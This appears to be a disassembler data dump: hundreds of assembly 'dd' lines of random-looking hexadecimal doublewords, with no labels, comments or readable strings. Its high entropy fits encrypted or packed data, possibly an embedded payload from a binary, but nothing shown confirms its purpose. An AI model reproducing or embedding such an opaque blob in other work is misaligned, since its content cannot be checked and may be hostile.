		dd 3EE4BA06h, 33FAD3E8h, 0DD98A2BAh, 76080B97h,	0A500526Eh
		dd 74DC6854h, 27960CC2h, 0A292F7DBh, 5CE90801h,	78AA2B7Fh
		dd 0D725E9BBh, 1F36C522h, 29149C3h, 64EF09F6h, 8CEE6A99h
		dd 0F82F6803h, 2DE3EC0Ah, 164283E9h, 0C2CD79DFh, 0B45035E9h
		dd 0CE9DD3A1h, 0BCB06A0Fh, 0C58BAC9Dh, 9F12D6A2h, 0BD0F44E1h
		dd 7784836Ch, 61231189h, 59B46AD7h, 0A4904BE5h,	0DDE6922h
		dd 0CBE720CBh, 5AADAFBh, 767AA5Bh, 56B313D2h, 0B6C3C2B1h
		dd 81E95F06h, 64342BCEh, 30B80D50h, 3824279h, 2B49295h
		dd 5E7C880Fh, 0A2752F43h, 48C98A84h, 4F78Fh, 7087BA01h
		dd 7EE97642h, 1C9091B2h, 0CCD8620Eh, 0E14F3001h, 0A6CDCD06h
		dd 1682CCE2h, 5E34A479h, 402F8901h, 6812094Eh, 29FF4465h
		dd 0EEDF11FAh, 200905D0h, 81757138h, 86506688h,	0F601DC5Ch
		dd 2E4F4890h, 956431AFh, 0D43D3E39h, 581E938Bh,	4060B25Ch
		dd 88073B4Ch, 510ECF81h, 0DE6F3808h, 6E189440h,	2AE95337h
		dd 2D9C0D98h, 41C305E0h, 483290A0h, 0FB2D2402h,	70B1331Eh
		dd 9702B52Ch, 7629A33Eh, 539416F0h, 63E2EA43h, 71436882h
		dd 0A8894379h, 2F96F51Dh, 102D7C92h, 0E2E7715Ah, 0CA4C535Dh
		dd 147D4B7h, 18A52A89h,	71EA05Bh, 27265A9Dh, 3355C994h
		dd 3554D93Fh, 0BFF0522Bh, 3A4892A1h, 2F3141F7h,	3A2B9181h
		dd 6A826057h, 0F12EC67h, 1AE036BAh, 0D8720CA5h,	1841CFCAh
		dd 5C7D8341h, 1D280D00h, 357B6503h, 85804095h, 0C580F694h
		dd 49A12BBEh, 0E9164603h, 52C5C70Ch, 5269DF19h,	1E0B7F78h
		dd 0BFFE4601h, 0D97EB8E2h, 0E655F425h, 9EE7D11Dh, 0D14C5768h
		dd 60ED4FE8h, 5B660ADEh, 1E48B151h, 0F74A100Bh,	56CABE05h
		dd 5CEE876h, 0A489A937h, 3BBDE5FFh, 4D12E28Bh, 23F3EE46h
		dd 0D3DCF84Ah, 0D30B2DBCh, 0A8829602h, 0ED5D3ECFh, 1759ADF4h
		dd 0E0D41064h, 8BD693AAh, 93AAC555h, 0AF2DA8C0h, 1F03BBF0h
		dd 43F63Dh, 36679DE3h, 83120F27h, 0ECB2E054h, 0AC734325h
		dd 80005693h, 2B50F99Dh, 0D5C926E9h, 0AD899792h, 21DE98E2h
		dd 4049016Ah, 65410805h, 4A2B6C67h, 3607ABACh, 0F06B064Fh
		dd 7C8B0C2Ah, 3BCC8951h, 97FB8DC4h, 24E56E5Eh, 9F56C7D7h
		dd 1A22E9C2h, 0E55A9599h, 0BAD36ABEh, 0B266B9E0h, 8620C83Eh
		dd 0B4F59F2Dh, 24CDE461h, 311A0ABDh, 0A706EDDEh, 29EE030Dh
		dd 0F842E9C6h, 0CBB9AD40h, 546E2C19h, 0CCE01F0Ah, 0A30C12E3h
		dd 3C4A5816h, 2D54DE13h, 1B7D105Ch, 298C0F05h, 0D7B3EF15h
		dd 6357B88Bh, 0E9C2D416h, 0B69CF06Dh, 48600913h, 2ECFEE44h
		dd 3689A7B2h, 251061E3h, 4CE8091Ch, 84E0E01Ah, 3F5D1BFCh
		dd 4E833944h, 0E9C2DCA2h, 208E36A5h, 0EFE1FCE4h, 0ADA4BD44h
		dd 595D5709h, 0B67C52B3h, 87C15464h, 0E87AA63Ah, 94AC9978h
		dd 80D90307h, 7C4244C2h, 54305F56h, 169931B0h, 8D8293Ah
		dd 784AEFEDh, 9409F98Bh, 0D1F730DCh, 762B3EA2h,	81E90C1Fh
		dd 98832ACh, 45953A51h,	558A8070h, 0FD89426Bh, 8B0C540Bh
		dd 6857A313h, 13091624h, 0BA016B53h, 0C06048Dh,	0BD1C8428h
		dd 77D22A96h, 0EEE4C20Dh, 437CAF3Ah, 0C7AA6256h, 0B27E4E9Bh
		dd 9753DA60h, 0E7D12C36h, 73EF406Ch, 29E62B3Ah,	2C8BFE5Ah
		dd 0A91E9E12h, 682D76Bh, 32E25725h, 7EBB3BC1h, 0F23EA72Dh
		dd 0A28E4E29h, 0F051994Ah, 0C19E8758h, 804EE392h, 12404E82h
		dd 0B24B6EAh, 640A16E9h, 3AD36B81h, 925F04DDh, 0F825C214h
		dd 4D4083CAh, 57CF7475h, 8031E885h, 446A95EEh, 0F505898Ch
		dd 52E6805Eh, 0E4178E03h, 72C88747h, 17C0D2D5h,	0FB7A0EE9h
		dd 1AB28977h, 960CD661h, 5B8EAC34h, 80E864BFh, 0DB6CA0A5h
		dd 48AB3850h, 657C4A78h, 614BCA00h, 0D3E92623h,	1E6AC3Ch
		dd 3F7F625Ch, 705F5B57h, 0D3C63C3h, 41EE4AE7h, 2228F1AAh
		dd 8C12204Ah, 4CE63D12h, 0AF8A04EFh, 555D0914h,	0A4030591h
		dd 0DA16E00Dh, 6FFCBBAh, 0AE76D6BFh, 6EF0D2Ch, 0CF28C783h
		dd 74E282C2h, 0B189975Ch, 34D3572Bh, 0F102D889h, 0FB313C78h
		dd 709A68D7h, 99463E6h,	7E9C160h, 1E32E681h, 3BB2F864h
		dd 2DEE00CAh, 5E5041C6h, 0FE8A0F3Ah, 0BFE65F82h, 0FEDDC820h
		dd 0F5DB0ECh, 495D726Dh, 0BF9635AFh, 0DAFC773Dh, 9FFE7FFAh
		dd 8739E471h, 681BDC02h, 30BB30C4h, 0EF4BCDAFh,	0BEDC2D50h
		dd 78452713h, 68485480h, 0AD284F58h, 290F81ABh,	1061093Eh
		dd 137892Bh, 2AA7C298h,	1039DF31h, 32D62D00h, 24671435h
		dd 0BEB04E4h, 5EAF2219h, 0C79B33FDh, 60B90148h,	0E8180B3Bh
		dd 14C77C6Ah, 0E520D104h, 6A48B252h, 98AA628h, 0B7B19523h
		dd 75843BD2h, 0ECB9E230h, 0FBD15CB3h, 7280BD27h, 0F1FA1B8h
		dd 0C8FA274Ah, 749B7495h, 5E4B1120h, 0FC1362AFh, 5B52DE6Ah
		dd 0C791B15Ah, 312BDA46h, 0AF2906BDh, 0C2C75F5h, 9F39630Ch
		dd 6F95AA1h, 50DAEA01h,	6F012607h, 8045484h, 8BBF1C8Bh
		dd 28A94BDEh, 0D181CD2Dh, 28509568h, 29BCC04Ch,	20E9220Fh
		dd 739F2FE3h, 8AE9C29Dh, 88ED36Ah, 6C5918A2h, 54D86043h
		dd 9FEA776Fh, 24683340h, 0C00F0562h, 0FC4ED079h, 20EA2920h
		dd 0D0BD4C27h, 0FA56D776h, 8A3E768Dh, 0F0E93B86h, 7CE8CDC6h
		dd 4F872E95h, 0E03580B5h, 2911A27Bh, 5B45C75Ah,	31ABB453h
		dd 89665661h, 7944713Bh, 0EFF38B58h, 82F1B921h,	0D82FFD40h
		dd 739860C9h, 0F7220498h, 0AFC14B52h, 0CF874681h, 50EFCB70h
		dd 7208DD05h, 0EE50C5B5h, 0A57CB874h, 0EB7275FBh, 2AE92328h
		dd 274D858Dh, 7565F788h, 5E7C000h, 3A51C7FEh, 0C5962FB5h
		dd 0F107AF66h, 1BC780E5h, 88D2F730h, 205B2FFAh,	50025C7Ah
		dd 0A7E982B0h, 504479CEh, 0FE48F5F6h, 0E8139EA0h, 0FF05F44Bh
		dd 0D85BD5E1h, 3E133847h, 0FB0171h, 73215F80h, 0F538E90Dh
		dd 3CBA5F0Fh, 0EAB05362h, 0C975741h, 1F05244Ch,	31F727ACh
		dd 0BBEB5F87h, 0FD0A4814h
		dd 941AC700h, 0D78CE97Fh, 18C147B2h, 76403C16h,	0CEDA820h
		dd 226C4BB1h, 0F031620Ch, 1D276CD3h, 7E088E3Ah,	0DAB00A27h
		dd 0A901004Ch, 0A6782D15h, 899D9807h, 0E4B8024h, 0BC3F2712h
		dd 0D5053ED4h, 0A8437DE9h, 6B1C17Bh, 0E4DEC180h, 0D33DF9F0h
		dd 0BB6DEF5Bh, 6879886Bh, 157B7431h, 75EAB789h,	50786A5Ch
		dd 9B932FE9h, 0C02978CAh, 2F2EF97Dh, 66E1835Ch,	68CCF9F7h
		dd 0AE105FD0h, 0D7EC5560h, 0A56E9DFEh, 8009B505h, 20BCB6C5h
		dd 490D5017h, 0E876DF00h, 0F4F023Ah, 5C62AD81h,	0AF8642E3h
		dd 69AADAAh, 90E18008h,	69B8E933h, 0AA05B756h, 0AC7A7ECDh
		dd 0E7D0C637h, 98C30491h, 84293805h, 0FAB6D4CEh, 39AD8FD1h
		dd 2F159D2Bh, 9F7767FDh, 2F3E8E65h, 5B7A07A9h, 7DF55862h
		dd 2944A0F1h, 1B6DC8AAh, 23F37BE1h, 0BE38AB85h,	0D484EFF3h
		dd 5A3EE701h, 0B7BFB4D4h, 0CD8115E9h, 7FC99A25h, 0B95158D1h
		dd 2506EB26h, 4C386828h, 4959D109h, 0FDCFD837h,	0EDE90840h
		dd 3813BD3Fh, 0C67E1C0Eh, 9D8497F9h, 35E9C9E4h,	0FF9CF854h
		dd 86909DB6h, 0FF80F427h, 333D2BA2h, 8F100C90h,	0FC5A733Bh
		dd 0D7898734h, 0DCCC73h, 50BF5418h, 3124E166h, 0D0B51290h
		dd 38CD0C7Ch, 0ED0C6EA7h, 1E4FF5B0h, 0E9D860AFh, 12954A37h
		dd 468BC1C6h, 8E0F4200h, 94E5A137h, 4A781ECFh, 0BB5FDCFEh
		dd 0D506D103h, 0F2E94349h, 0B8D35FE1h, 2C145727h, 75C41AB7h
		dd 68734C76h, 2E20725h,	2C4D215Dh, 0BD2970C2h, 5F6FF2F5h
		dd 0B02EAC55h, 4F5D097Fh, 7E60EB4Ah, 5A70E6F8h,	0E9EFA03Dh
		dd 52DBB027h, 549EC05Fh, 295D0839h, 1BA9295h, 0ECD9E90Ah
		dd 11D52EA5h, 4E2C4449h, 0D68A0F1Fh, 0A014A8D2h, 1B36AB7h
		dd 7AE7819Dh, 3048F823h, 0A7B1E841h, 6A74C501h,	0B86F6CCDh
		dd 3F084142h, 0BFA1B826h, 782D5AD4h, 1A7A0022h,	5BB537Fh
		dd 0C1B0BD52h, 4B366E20h, 0B9BC30ADh, 0D002086Bh, 18E95575h
		dd 8CEA5462h, 810D1646h, 4302AD92h, 575E1DBAh, 570789BFh
		dd 6F6DB061h, 47AC84C4h, 72BF2B7h, 0A52FEDFDh, 0B0F26E7Dh
		dd 0D380B7F0h, 1E6D87B9h, 50893327h, 6F8B97A0h,	0BD0863FEh
		dd 0FE22029h, 15054CDCh, 73E45A40h, 7834E918h, 81BB2049h
		dd 0F857F8F5h, 0F50F8117h, 0EB6B5615h, 7BB6D829h, 0EAEDE4C3h
		dd 335E4B31h, 0BAB568C4h, 19E56091h, 8E38EC2Ah,	33A99681h
		dd 4EF2A885h, 4163EFDFh, 0EC050C75h, 47F71E96h,	6BEDD101h
		dd 98710373h, 4E7CAEE8h, 0E205FBE1h, 95C85B91h,	0C2141FF6h
		dd 3FD19E2Ch, 64D50851h, 0B2D8F27Eh, 27CE465Ch,	516148E9h
		dd 8AE93028h, 335BC9B5h, 2AF78D7Bh, 27C628EBh, 5A8C8795h
		dd 7FD05569h, 0C725F89Ch, 0F95D1743h, 59CD8084h, 0B77D0268h
		dd 0E92D6796h, 7DBAC2EAh, 84C9C55Bh, 0EFED6775h, 0B8EAC1C4h
		dd 9E69299Ch, 97225F27h, 89DF4AE9h, 0D1835E0Bh,	0CD493166h
		dd 0EEE1605Bh, 0A298E92Dh, 5C83B1E3h, 53F896FFh, 0AE05134Eh
		dd 2E095335h, 2E098A7Ch, 2912ED01h, 0C814FAEh, 0C7A5FB68h
		dd 0D2A42455h, 28A90617h, 70366A1h, 0B12C405Dh,	0F7134993h
		dd 0B708C528h, 6168A0A2h, 0E402257h, 0EBF37716h, 58566805h
		dd 2D6DDFBh, 7D0B4BFDh,	2010E710h, 0C20B49CBh, 5595F79Fh
		dd 0CA0FDCACh, 897C8245h, 969BD1F7h, 138AB631h,	8DCAF821h
		dd 0E25EEE4Fh, 572515DCh, 0E984BE65h, 0A2EB2922h, 2AB8DF4Bh
		dd 4190C353h, 18231A3Dh, 0F6B73E70h, 65F51252h,	0E32D870Dh
		dd 305BEF9Ch, 281621BCh, 1EAA40DBh, 2D58D250h, 0E760F70Ch
		dd 0A3057C2Ah, 0E9BF0A07h, 0EB460FCDh, 3F6160DDh, 1BDD9785h
		dd 0F3BBDAh, 9763EE31h,	0F189CBBDh, 0E2A58CC4h,	4504AB17h
		dd 0A6F2D5F7h, 0B77307C1h, 0D0B42A64h, 0FB0300C5h, 3E05A10Fh
		dd 330A325Dh, 72DE801h,	0E123E90Bh, 94C6532Ch, 4117FEE6h
		dd 433E2044h, 277C2F26h, 0F0C96112h, 470AEE00h,	73735C8Fh
		dd 70B8F805h, 0D1F4148Ch, 88FFF113h, 6B9756BFh,	4F656DCh
		dd 324E680Ah, 9E6CC1EDh, 0EAD5C235h, 74F2FDF7h,	0DA73DCBDh
		dd 40A40074h, 5D1E2D1Ah, 0FF6FAE72h, 9D18D603h,	7F2D590Ah
		dd 274B2DE4h, 6B5307C1h, 6B89DCA9h, 0DBA86559h,	0BB702C0Fh
		dd 31A7C41Ch, 892F2EA7h, 67095FDAh, 894FD412h, 4285766Ch
		dd 80093ECEh, 0E77D3589h, 0E7B00Eh, 28872078h, 55868B0Fh
		dd 1235ABC6h, 7A526056h, 2A0B2687h, 18FBBA05h, 0D3B0137Ah
		dd 60D74151h, 9D622E2Ch, 0A084D23Dh, 2959C8C0h,	5BEFFEC1h
		dd 0F62DBFBAh, 0A6021E93h, 695712D8h, 0B3AA65AEh, 0C6E90CC1h
		dd 0AB820F6h, 63ED1D0Ch, 0EBA6BFA3h, 0CA0B20C6h, 0A5F1E098h
		dd 59F4E500h, 120460Eh,	93FA50F2h, 8F1A125Bh, 9CBA042Fh
		dd 2A56CA8Bh, 32CCA33h,	8548E1EDh, 60F7409h, 0C1765E8h
		dd 8836B151h, 0E026D0F8h, 9A339834h, 0E9A79980h, 0A17C70FAh
		dd 0D02EFAB8h, 661BEF0Ch, 1621309h, 83208F7h, 8F597E25h
		dd 0B07521E9h, 44D1171Ah, 6342BD42h, 8530975Fh,	0BEE5ACE9h
		dd 0E1695A89h, 5BD88B9Eh, 0CA4A8F75h, 0E9C180FDh, 0C94C9FB0h
		dd 50DA3201h, 0CBAB38FAh, 8D1B080Bh, 7A0A3CE9h,	3F082447h
		dd 898B110Eh, 0B1841043h, 31DA6BF3h, 0DE4085Fh,	46927725h
		dd 11643FC1h, 856090EBh, 9DA4F6D4h, 5455D0C2h, 5126F0CDh
		dd 7792797h, 2D2B3783h,	1A7DDF65h, 0EAFC5721h, 0A2323159h
		dd 56D04F13h, 60DABA30h, 0E682C55Eh, 0F7F04A75h, 0FFD72133h
		dd 9B158A80h, 1CE58161h, 687425ADh, 4F080B9Eh, 0BF007D48h
		dd 0E1F19B8Bh, 0DDBFC895h, 0E8213B5Bh, 8A8D444Eh, 778D1C1Ah
		dd 0C609728h, 0D4424130h, 36B2A1EEh, 7281535Ah,	0E2073C26h
		dd 0D3554BAFh, 704CBE13h, 9D5DB35Fh, 6FA2EA80h,	270F3DCDh
		dd 0A950E883h, 5A18DCBDh, 4AB5165Dh, 0CD9D8151h, 35F62F9Dh
		dd 0E94B104Ch, 87E90B6Ch, 98AC94B5h, 0BADE5B2Ah, 0AB3B567h
		dd 2D1776B8h, 905F59D9h, 4BF85029h, 17F752FEh, 4A22F8ABh
		dd 0BBAC33BAh, 599F4D70h, 0F9789546h, 53768725h, 0AD9AF70Eh
		dd 9D147293h, 6268F501h, 5DED5469h, 0A7FA1F6Fh,	19012254h
		dd 0DA29B01Eh, 9E10B427h, 0C7300086h, 0B0505866h, 90FAFA67h
		dd 855B4AA5h, 0A5D9BF0Ah, 0E920C1F1h, 0BC029F5Ah, 0FDD4628Eh
		dd 0FD1AC624h, 9E54570Ah, 31315825h, 0D56EE7C0h, 3E413258h
		dd 4DDF9E9Eh, 3CB140D2h, 9CE34E43h, 6EC78DEBh, 68D0AAE1h
		dd 0A874B772h, 0CE49DAA0h, 0E7E226E4h, 8D90F209h, 0FC38E46Fh
		dd 90E16E17h, 0E548872Bh, 0B6211A30h, 0F01762Dh, 6805201Fh
		dd 847FF147h, 0B22CBBC1h, 8FE91252h, 416CBE05h,	94DAB55Ch
		dd 0E87851BFh, 0D3750CC9h, 0F8012D90h, 11B473Fh, 74205D8h
		dd 97B6D05Bh, 3069567Bh, 4A4BBF13h, 10BAB862h, 68171B34h
		dd 99FC58Ah, 0E5D42137h, 0F30E919Ch, 0A6D90F5Ah, 271A1116h
		dd 7F8295Fh, 3C2B7697h,	4E204CCCh, 2C4AB802h, 0D7316DD6h
		dd 7B587049h, 58F391D2h, 9552B0E5h, 68185636h, 829362C3h
		dd 80EA99F6h, 0CD027605h, 9F0E2D52h, 744E3429h,	6074189h
		dd 0F49D23D4h, 74E9D866h, 2D01FEB4h, 0E67B9BB1h, 3F2AE9h
		dd 6FF0BE0Bh, 817C0C56h, 8547F40Bh, 1EE07572h, 113F0493h
		dd 4EF6003Fh, 0E91071CAh, 5FEA4052h, 44BEF197h,	28AD9147h
		dd 2A6E21CFh, 8EFD0BBEh, 2035524Eh, 0B6A088E7h,	0BF602BFh
		dd 0D268622Bh, 71E71F5h, 945A01BAh, 3826C012h, 3D5BD44Ch
		dd 0B91080A9h, 0C8FE1639h
		dd 5E90E809h, 407975Eh,	0ACF1E6A2h, 3634A11Ah, 242A680Ch
		dd 0E92E3978h, 93BAB839h, 63A3CD28h, 881FB306h,	0A5277CDCh
		dd 0CB801BD1h, 152F5011h, 0BF24B2BFh, 0BF5457F6h, 18B002E5h
		dd 2425F068h, 8FF0677h,	0BA26F4B4h, 4E79662h, 1038EB5Ch
		dd 0FA802CE9h, 6BBA6B67h, 0E65C4842h, 0AC499CB3h, 0EB1CB8E8h
		dd 14FF2529h, 405A98FBh, 86120F6Ah, 6CFEB4BCh, 9A7F5E44h
		dd 0EA315D9Fh, 0AC452EFEh, 9909CC78h, 9004648Ah, 206D17B3h
		dd 0EED507C6h, 45C53071h, 0A59AD7E9h, 2EE83024h, 39406807h
		dd 7A4E7749h, 0D265E909h, 5A7AFEFEh, 2EFBA48h, 2631CDB0h
		dd 0F3D63339h, 0F921322Bh, 0A377744Ah, 0EAAAEBCAh, 0BF8155C7h
		dd 29C679E9h, 6856C1FCh, 3B3828BFh, 0E5F55589h,	9252432h
		dd 0F1DFFEE5h, 91F3976Fh, 0E006EAD3h, 59B50720h, 0A85CC5A1h
		dd 90DDB1F6h, 5AD4CB7Ah, 0CBC16E90h, 0B1569FFEh, 257B6472h
		dd 9AAC3A05h, 685B5718h, 8E614BEFh, 85573AABh, 16FEA1B7h
		dd 0B3F9CCC3h, 87A89D4Bh, 28232C0Eh, 66277ABFh,	5399E489h
		dd 5CBF28EBh, 33EFA78Fh, 7959BDC2h, 1FDE49E7h, 72196861h
		dd 0A83BB74Dh, 77E3C975h, 47C09A1Bh, 1260A274h,	0F2E955F1h
		dd 0E2B0B730h, 1AA4722Ch, 4E47644Dh, 0E9B0BFBCh, 0DB99F5A1h
		dd 21F18087h, 845A893Fh, 6680ED16h, 0AD3495h, 492CD8F6h
		dd 1CE9C330h, 0BF1C4197h, 0B479A93Bh, 0B0D3D0A8h, 0CF41F0ACh
		dd 3569FAA7h, 6AEC7E0Ch, 65DBE9B1h, 344C4745h, 3873D80Fh
		dd 5D2506BEh, 0FB3F8065h, 55FB0BB5h, 0F8FC0948h, 59CC13DFh
		dd 9EA3DACh, 48CF1EB6h,	8039D077h, 9D86E908h, 0E5C06101h
		dd 3068E07h, 9D6C980h, 0E83B02E9h, 41D0EA3Ch, 49112F1Bh
		dd 9A447E32h, 0F7BA6F03h, 0F18101FDh, 7EC40FF6h, 579806Ch
		dd 826B34C7h, 3C13EF25h, 80E549A8h, 674FB879h, 0CA060B7Ch
		dd 262F7ABCh, 4C9D090Ch, 67806FDAh, 6763E36Ch, 5C77E927h
		dd 305D2D07h, 0BAFC6B0Bh, 0EAEA5BECh, 628B2341h, 816B4AD8h
		dd 4BE1570h, 8561F8AFh,	1C8D6A8Ch, 918DC5E0h, 75C0AF22h
		dd 472F7FDAh, 7066742Ch, 21552FE9h, 87BC7EE6h, 0F7470804h
		dd 0BDCE8DFh, 343923h, 0B42418EAh, 930CC14Ch, 0F05AA035h
		dd 5603AEEEh, 72E9590Ah, 0E38057CFh, 0FD4F7Ch, 81E6D190h
		dd 34165ECEh, 0A60C4FFEh, 0B6B0E2A6h, 0CBE23A36h, 5B052FDAh
		dd 0CA24E3B6h, 1040275Ch, 0FDE4D788h, 3E5A5B3Bh, 0CACEBBEEh
		dd 4A4076DDh, 16F255CFh, 53ADE94Ah, 0D770F3E3h,	0F932AEBh
		dd 65FC3BEFh, 76A857C8h, 95609050h, 718934DEh, 0E31BFF30h
		dd 81ECA7C9h, 4ADCCD99h, 0E5D80AA5h, 0D0151F2Bh, 1F5016Bh
		dd 0D14BD976h, 31097AE9h, 0D5307E7h, 72E62B8Fh,	62F40968h
		dd 4AD54335h, 0E9B6222Ah, 9A54557Ch, 786AD4AFh,	0BA9C10E9h
		dd 5381B101h, 0ABD55152h, 9515F6F0h, 7A5E9B68h,	0C361337h
		dd 3FDA6040h, 72D030E9h, 0DA46822h, 0A818B230h,	724E11CDh
		dd 4B09B564h, 717D2A29h, 0EE895061h, 4EC512DCh,	2EA2A7Ch
		dd 35EFE961h, 2CF7C6FDh, 90A7C88Bh, 66071734h, 9BC762FBh
		dd 8D55A40Fh, 431F21EEh, 0EED383A5h, 803FA253h,	574BA2Dh
		dd 0F0010DECh, 21071605h, 7DD8FE64h, 0A0E02733h, 699CE739h
		dd 0B1576FDh, 0F571ACF7h, 0C00C14D0h, 180F6D12h, 466025Fh
		dd 27CDE921h, 240E3E44h, 0C057A303h, 355E2FE3h,	39CBF814h
		dd 61826B7Eh, 3373E94Bh, 5251A1DFh, 0D3E9EA88h,	305A032Bh
		dd 0F3D059EEh, 0EB38805Ah, 66E30778h, 126DB652h, 0E9FCED31h
		dd 0E2429FBBh, 3FFF655Dh, 5B40CA2Dh, 98BA2CD2h,	2B56CE4Ah
		dd 77A7101h, 0C2F30131h, 0A9088FC1h, 5D37E1ABh,	0D7FCA62Eh
		dd 2954AF01h, 0BC2B3621h, 91FC346Dh, 310481FAh,	51270A4Eh
		dd 188E027Dh, 5EE2A313h, 360B1081h, 71BE0706h, 55217F5Dh
		dd 4AED6850h, 0A46AF731h, 806983FDh, 804C5535h,	24C2C120h
		dd 59F6F529h, 0A0ED6E87h, 8E65BF97h, 0AD2BE1BBh, 0FB22770Ch
		dd 0BD0136F8h, 0D0C37630h, 3A1F282Dh, 578E0B9Eh, 0AAB2B93Eh
		dd 75073F10h, 9E911A0h,	74B73970h, 3BE45060h, 3F6270BCh
		dd 395909D8h, 0BB4217ACh, 0D9F600F8h, 4505E180h, 2CC3890Fh
		dd 52330ABDh, 93BAD8FBh, 534C38F8h, 341F00B9h, 866813DAh
		dd 0E96AE173h, 0CFBB97D9h, 0C9FD2AFEh, 3AB96638h, 5E26636Ch
		dd 0C524CE52h, 0E2D1F71Ah, 950092AAh, 390A01EBh, 58290925h
		dd 5ADD17DCh, 0FE2F48Dh, 2D318B3Fh, 10A73AAEh, 0BA2C65E9h
		dd 1E998C31h, 4A5F91A5h, 138D61FFh, 5F5CA32Ah, 500C1FCh
		dd 0F7E7A68h, 9BBCF029h, 7DEE1900h, 18B4C981h, 0C2078376h
		dd 8E13FA72h, 84EE058Fh, 0EC1EEAFAh, 2751DAEDh,	0CF52C649h
		dd 4B8AF12Ah, 2F486812h, 21270EA3h, 30D1CD69h, 84976F24h
		dd 0FCBAAC66h, 56E9B046h, 8388B4C1h, 6A5B14DBh,	0B9D4D9h
		dd 4E76F180h, 0B62FBC20h, 0EDF34E3Eh, 86EE7513h, 0F97E0C41h
		dd 4033279Dh, 7C5159C7h, 860B1268h, 8478B972h, 57099C77h
		dd 0F7CF9B06h, 0B0E1614Fh, 5CC1DD29h, 2B57DF68h, 0BF6A530h
		dd 0B42A501Fh, 1A6F0526h, 0ACF4E955h, 5CF250BEh, 0F8473240h
		dd 0E2C05B38h, 0C556CFA3h, 7796EE4Dh, 0FCC52042h, 2020587Dh
		dd 45285B5Bh, 98C57DD2h, 0C76BB10Eh, 0F7AE5210h, 0B5E7A92Eh
		dd 52738CFAh, 0A25AE92Ch, 0D1E6DDA5h, 67B2BF1Fh, 0F40E1F13h
		dd 5E43D48h, 0DD229A09h, 11DB4212h, 855C67CBh, 0E31FECE9h
		dd 32480214h, 0D95770AEh, 22ED8F95h, 0F93C5825h, 7C08415Ch
		dd 12E07CCFh, 0B4E97C13h, 984FE3AFh, 717D3F52h,	1CCF906Ah
		dd 6E9582C5h, 25D4108Ch, 809A765Bh, 0AEC280F9h,	0E969152Ch
		dd 0EA86A7E2h, 7D402442h, 52707B56h, 6DE616BAh,	1F6D097Bh
		dd 0CDF62A8h, 0E745F110h, 882D0F09h, 0B9097402h, 0EC037DFAh
		dd 68E80310h, 0E9FD291Fh, 0E9D7BEB4h, 0FEC107B5h, 672FFEC9h
		dd 0DA66B73Ah, 23F58093h, 89735A1Fh, 0D0B5A4B8h, 2034B39h
		dd 0F3295F5Eh, 0A5DC095Dh, 0B3AF5DD1h, 87ACD65Ch, 8C8FC3A1h
		dd 50C44270h, 0CE70035h, 0DD0D47AAh, 141C282Ch,	5F398A0Fh
		dd 27A100ACh, 0D1130E50h, 0E188AEE7h, 21914DE9h, 3229BE4Ah
		dd 253F1261h, 0EEC4EAB8h, 4EA8FCAFh, 0C261B9A1h, 2C178529h
		dd 0D6B8E31Eh, 4FDC9BBEh, 5183136h, 33985F51h, 0DAD8201h
		dd 0FB951B58h, 0D1BE0040h, 0E949AD12h, 0F7C57F27h, 71E81E19h
		dd 70E33BA8h, 2C53FB5Eh, 0B1948707h, 83F089E2h,	5B478576h
		dd 9371EB20h, 8105D07Eh, 61D5795Fh, 2E0F2838h, 0B6A406ECh
		dd 3A686658h, 78591C1Bh, 5242B709h, 32967FE5h, 4FA2925h
		dd 6DEAD3h, 2A7068B8h, 0BB5314C9h, 340BBB74h, 0EF80DBF7h
		dd 1A613638h, 3E4F50BFh, 922E943h, 76D4EB4Fh, 738C2D80h
		dd 0D9794C07h, 88DC5E26h, 5205086Bh, 4BB15A5Bh,	0E303466Bh
		dd 0E6779156h, 77C91B2Eh, 53C1FFA5h, 3FAF425Eh,	0DD59E149h
		dd 79768ACh, 5D2EF9B9h,	40BE09A4h, 0F4627E75h, 724E91Fh
		dd 56F34A3h, 27FB7BC7h,	27F48AD9h, 0ACF24A18h, 22E1D9F7h
		dd 6DF904C2h, 0BCBF6B77h, 22161CD5h, 0EA9CDD2Dh, 0D378E918h
		dd 0AA1EE3Dh, 3169207Ah, 0E14C1680h, 17824505h,	9752EAF5h
		dd 241486EEh, 0D49DD8EAh, 0E05D7A1Ch, 0B5FEFA54h, 8962D4D4h
		dd 0EE54042Ch, 4E891A4h, 0C11F694Ch, 4400FFE6h,	194E3439h
		dd 93829729h, 0BDD411D4h, 71376380h, 0EEEAC14Ah, 0B653FE42h
		dd 7E35016Bh, 3B384D5Eh
		dd 0B93D41AAh, 7A29554Ch, 70094012h, 0CB40F707h, 7825561Eh
		dd 0DB407FA3h, 94CB459Fh, 5D48305Eh, 0F699551h,	9057A55h
		dd 8DF65A54h, 8E8B5089h, 146B885h, 4D94AAFh, 3A4E65E0h
		dd 0ABB4E3B8h, 50921A0Bh, 0B7BA1DB6h, 1CC822Ah,	42565AD5h
		dd 6C3B312Ch, 1E215835h, 0D209D934h, 6A3BE1A8h,	0A938D201h
		dd 0B12AA64Ch, 55A72A38h, 0ED52134Bh, 0C2FDD2CAh, 2DBCE90Dh
		dd 33D0F812h, 2F460D3Dh, 7F9E0B14h, 9452B06h, 8B5E1EF8h
		dd 403C564Ch, 90DD955Fh, 0BADAE904h, 0AC2AF9DCh, 0C8BEB433h
		dd 0C12F5D62h, 52A4F4FEh, 12C395C0h, 0E93D7A05h, 89D19F0Fh
		dd 0EE3916E3h, 1C8F2086h, 7F685002h, 0E5371F18h, 782D8102h
		dd 6007F25Fh, 0ED621305h, 4288651h, 87BAFC58h, 0F58BCC8Ah
		dd 768B8F45h, 4BB3102Fh, 2EA52534h, 0FDCD2BF7h,	0E80A754Ch
		dd 0E2072D7Ch, 93329D0Bh, 0D2FBECC5h, 0B16A56D2h, 18B71A40h
		dd 0E2AB16D3h, 8AAB4B53h, 48CB9707h, 5FA1615Bh,	9480787Fh
		dd 899E78AFh, 0D7C9611Fh, 63087C64h, 105896F8h,	3B272643h
		dd 1205CD12h, 6105A154h, 0CAFF8343h, 24AECBBDh,	0A8BB40FDh
		dd 97125AA9h, 15D9B6AEh, 12C9F061h, 9FE36ACEh, 12C0C17h
		dd 763594FBh, 0BD077E20h, 75D90244h, 0E2334818h, 0C8B2FE5Ah
		dd 23BB3B5h, 0A7D07B8h,	0B729C138h, 0BD5812D8h,	0E9896DD6h
		dd 546FE21Dh, 0F39A7B7Ah, 50374857h, 287CE270h,	80063558h
		dd 82DEE224h, 51DDD0D7h, 931FD78h, 3F0D5FAh, 0DF0B0B9Dh
		dd 8A0DE990h, 0D6873EA8h, 2DBE47F4h, 0C9465915h, 24567652h
		dd 0D9E704D6h, 4F4FEFEh, 0DDD44F14h, 53404281h,	729FFE0Bh
